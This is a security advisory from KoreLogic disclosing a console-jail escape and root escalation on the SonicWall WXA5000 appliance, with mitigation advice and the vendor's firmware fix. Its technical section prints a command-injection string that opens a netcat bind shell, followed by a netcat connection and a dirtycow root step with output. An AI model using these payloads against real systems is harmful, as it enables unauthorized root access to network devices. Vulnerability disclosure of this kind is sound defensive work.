Sonicwall WXA5000 Console Jail Escape and Privilege Escalation

Vulnerability Description

The console menu for this appliance can be escaped into a regular sh shell by using encapsulated $() shell commands. Privileges can be escalated to root by using the dirtyc0w exploit.

Technical Description

	????????????????SonicWALL WAN Optimization Configuration?????????????????
	? Show Network Settings                                                 ?
	? Renew DHCP lease                                                      ?
	? Show Serial Number                                                    ?
	? Show Firmware Version                                                 ?
	? Factory Reset - Restore the device to factory installed state.        ?
	? Secure Factory Reset - Securely erase hard disk and do Factory Reset. ?
	? Upgrade Firmware - Upgrade Firmware via USB stick.                    ?
	? ------------------                                                    ?
	? Debug                                                                 ?
	? Help                                                                  ?
	? ------------------                                                    ?
	? Reboot                                                                ?
	? Shutdown                                                              ?
	?????????????????????????????????????????????????????????????????????????

Selecting ‘Debug’ provides a basic diagnostic menu allowing the user to ping the gateway, show system load, or resolve a domain name.

Use the following string during name resolution:

   $(nc -l -p 4444 -e /bin/sh 1>&2)

Next, connect to the shell using netcat.

	$ nc -v 1.3.3.7 4444
	Connection to 1.3.3.7 4444 port [tcp/krb524] succeeded!
	id;uname -a
	uid=1017(wxauser) gid=1017 groups=1017
	Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux

This kernel version is vulnerable to the dirtycow exploit.

	/tmp/cowroot
	uname -a;id
	Linux WXA5000-9A067AC 3.10.15 #1 SMP Thu Jan 12 07:31:33 PST 2017 x86_64 GNU/Linux
	uid=0(root) gid=1017 groups=0(root),1017

Mitigation and Remediation Recommendation

There is no known remediation for this vulnerability from the vendor. Administrators should heavily restrict access to any account of any privilege which can use the Debug functionality of the CLI.

Network access to management interfaces should be properly segmented.

* Update 2017.12.06 * Vendor supplied KoreLogic with the following statement:

Resolution for this issue has been included in WXA firmware version
1.3.2-11-34 web-posted on October 27th on mysonicwall.com.
Effected customers can download the latest firmware version to protect
against this vulnerability.

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt